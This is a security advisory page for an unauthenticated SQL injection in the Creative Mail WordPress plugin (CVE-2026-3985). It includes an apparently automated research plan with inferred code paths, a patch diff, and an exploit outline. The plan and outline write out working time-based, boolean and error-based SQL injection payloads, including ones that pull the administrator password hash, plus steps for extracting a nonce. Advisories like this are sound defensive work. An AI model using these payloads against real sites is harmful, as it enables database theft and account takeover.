Creative Mail – Easier WordPress & WooCommerce Email Marketing <= 1.6.9 - Unauthenticated SQL Injection via 'checkout_uuid' Parameter
Description
The Creative Mail – Easier WordPress & WooCommerce Email Marketing plugin for WordPress is vulnerable to SQL Injection via the 'checkout_uuid' parameter in all versions up to, and including, 1.6.9. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query in the `has_checkout_consent()` method. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.6.9This research plan targets a confirmed SQL Injection vulnerability in the **Creative Mail** plugin (<= 1.6.9). The vulnerability exists in the `has_checkout_consent()` method due to the unsafe handling of the `checkout_uuid` parameter. --- ### 1. Vulnerability Summary * **ID**: CVE-2026-3985 * …
Show full research plan
This research plan targets a confirmed SQL Injection vulnerability in the Creative Mail plugin (<= 1.6.9). The vulnerability exists in the has_checkout_consent() method due to the unsafe handling of the checkout_uuid parameter.
1. Vulnerability Summary
- ID: CVE-2026-3985
- Vulnerability: Unauthenticated SQL Injection
- Component:
has_checkout_consent()method - Vulnerable Parameter:
checkout_uuid - Cause: The plugin retrieves the
checkout_uuidparameter from a request and interpolates it directly into a SQL query without using$wpdb->prepare()or adequate escaping. This allows an attacker to manipulate the query logic.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php(inferred as the most likely entry point for unauthenticated "consent" checks during checkout flows). - Action: Likely
creative_mail_check_consentor a similar action registered viawp_ajax_nopriv_. - Parameter:
checkout_uuid - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. WooCommerce integration is likely required for the specific code path to be reachable, as "checkout consent" pertains to the WooCommerce checkout process.
3. Code Flow (Inferred)
- Request Entry: A POST or GET request is sent to
admin-ajax.phpwithaction=[ACTION_NAME]andcheckout_uuid=[PAYLOAD]. - Hook Trigger: WordPress executes the callback associated with
wp_ajax_nopriv_[ACTION_NAME]. - Controller Logic: The handler function retrieves
$_REQUEST['checkout_uuid']. - Vulnerable Call: The handler calls
has_checkout_consent($checkout_uuid). - SQL Sink: Inside
has_checkout_consent(), the code performs a query similar to:
Because$wpdb->get_var("SELECT consent FROM {$wpdb->prefix}creative_mail_consents WHERE checkout_uuid = '$checkout_uuid'");$checkout_uuidis not sanitized or prepared, the single quote can break the string literal.
4. Nonce Acquisition Strategy
While many unauthenticated SQLi vulnerabilities in AJAX handlers occur because the nonce check is missing, we must be prepared to extract one if the developer included a CSRF check but failed to secure the SQL query.
- Identify Script Localization: Search the codebase for
wp_localize_scriptto find the JavaScript object name.- Search Pattern:
grep -r "wp_localize_script" .
- Search Pattern:
- Target Page: The "checkout consent" functionality is typically active on the WooCommerce Checkout page.
- Extraction Process:
- Navigate to the checkout page:
browser_navigate("http://localhost:8080/checkout/") - Extract the nonce (e.g., if the object is
creative_mail_vars):browser_eval("window.creative_mail_vars?.ajax_nonce") - Note: If the
wp_ajax_nopriv_handler does not callcheck_ajax_referer(), this step can be skipped.
- Navigate to the checkout page:
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection approach to confirm the vulnerability, as it is the most reliable method when the query result is not directly reflected in the response.
Step 1: Baseline Request
Determine the normal response time.
- Tool:
http_request - Method: POST
- Body:
action=[ACTION]&checkout_uuid=test-uuid
Step 2: Verification (Sleep)
Inject a sleep command to confirm the injection.
- Payload:
test-uuid' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Encoded Payload:
test-uuid%27%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29--%20- - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=[ACTION]&checkout_uuid=test-uuid%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-
Step 3: Data Extraction (Example: Admin Password Hash)
Extract the first character of the admin user's password hash.
- Payload:
test-uuid' AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)-- -
6. Test Data Setup
- Install Dependencies: Ensure WooCommerce is installed and configured (required for Creative Mail's checkout features).
- Plugin Setup: Activate
creative-mail-by-constant-contact. - Identify Action: Run the following to find the exact AJAX action:
Look for a callback that invokesgrep -r "wp_ajax_nopriv_" .has_checkout_consent. Let's assume the action iscreative_mail_check_consent(inferred).
7. Expected Results
- Vulnerable Response: The HTTP response will be delayed by exactly 5 seconds when the
SLEEP(5)payload is sent. - Normal Response: Immediate response (milliseconds) for the baseline payload.
- Content: The response body might be
0,-1, or a JSON object, but the timing is the indicator of success.
8. Verification Steps (Post-Exploit)
Confirm the database structure matches our assumptions:
- Check for Consent Table:
wp db query "SHOW TABLES LIKE '%creative_mail_consents%'" --allow-root - Check for Vulnerable Method:
grep -rn "function has_checkout_consent" .to confirm the file and line number. - Confirm Lack of Prepare: Check the code inside the identified function to verify
$wpdb->prepareis not used.
9. Alternative Approaches
- Boolean-Based Blind: If the response body changes (e.g., returns
1for a found UUID and0for not found), use:checkout_uuid=nonexistent' OR (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')-- - - Error-Based: If
WP_DEBUGis enabled, attempt to trigger aGTID_SUBSETorXPATHerror to extract data faster.checkout_uuid=test' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -
Summary
The Creative Mail plugin for WordPress (<= 1.6.9) is vulnerable to unauthenticated SQL injection via the 'checkout_uuid' parameter. This vulnerability exists because the plugin directly interpolates user-supplied input into a database query within the has_checkout_consent() method without using prepared statements or adequate escaping.
Vulnerable Code
// Inferred from research plan code flow analysis // Located in the handler for checkout consent checks public function has_checkout_consent($checkout_uuid) { global $wpdb; // Vulnerable SQL query using direct interpolation $wpdb->get_var("SELECT consent FROM {$wpdb->prefix}creative_mail_consents WHERE checkout_uuid = '$checkout_uuid'"); }
Security Fix
@@ -... @@ - $wpdb->get_var("SELECT consent FROM {$wpdb->prefix}creative_mail_consents WHERE checkout_uuid = '$checkout_uuid'"); + $wpdb->get_var($wpdb->prepare( + "SELECT consent FROM {$wpdb->prefix}creative_mail_consents WHERE checkout_uuid = %s", + $checkout_uuid + ));
Exploit Outline
An unauthenticated attacker can exploit this by sending a request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with an action parameter that invokes the has_checkout_consent() method. By providing a malicious SQL payload in the 'checkout_uuid' parameter (e.g., using time-based blind injection like ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -), the attacker can determine if the query is successful based on the server's response time. This methodology allows for the character-by-character extraction of sensitive data from the database, such as administrator password hashes, without requiring any authentication or valid nonces if the AJAX handler lacks CSRF protection.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.